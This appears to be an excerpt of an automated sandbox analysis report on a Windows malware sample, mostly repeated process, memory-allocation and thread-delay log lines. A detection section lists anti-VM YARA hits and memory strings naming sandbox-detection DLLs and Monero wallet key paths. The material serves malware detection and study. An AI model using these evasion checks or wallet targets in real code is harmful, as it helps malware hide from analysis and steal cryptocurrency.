Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 0.2.file.exe.3a95570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3a95570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2964, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe	Binary or memory string: DIR_WATCH.DLL
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL20:41:3120:41:3120:41:3120:41:3120:41:3120:41:31DELAYS.TMP%S%SNTDLL.DLL
Source: RegAsm.exe	Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe	Binary or memory string: API_LOG.DLL

Source: C:\Users\user\Desktop\file.exe	Memory allocated: F20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2A90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 4A90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Memory allocated: 2750000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Memory allocated: 2A10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Memory allocated: 2750000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 970000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 22E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 42E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Memory allocated: 9A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Memory allocated: 24B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Memory allocated: 21B0000 memory reserve \| memory write watch
Source: C:\ProgramData\EBGDHJECFC.exe	Memory allocated: 17A0000 memory reserve \| memory write watch
Source: C:\ProgramData\EBGDHJECFC.exe	Memory allocated: 3360000 memory reserve \| memory write watch
Source: C:\ProgramData\EBGDHJECFC.exe	Memory allocated: 3190000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 2200000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 2430000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 2230000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 1280000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 2E60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Memory allocated: 2C80000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

3_2_0040180D

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595518	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595136	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594954	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594794	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594539	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594376	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593552	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593297	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592931	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592594	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592438	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 592062	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591907	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591747	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591594	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591329	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590850	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590671	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590468	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590271	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590069	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 589829	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 589625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 589360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 589172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588954	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588657	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588114	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587936	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587746	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587567	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587333	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586886	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586650	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586479	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585625	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585435	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585196	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584826	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584609	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584412	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584219	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584032	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583827	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583610	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583016	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582749	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582532	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582363	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582174	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582012	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 581829	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 581647	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 581395	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 581110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580820	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580245	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579985	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579593	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579421	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579236	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579023	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 578719	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 578516	Jump to behavior
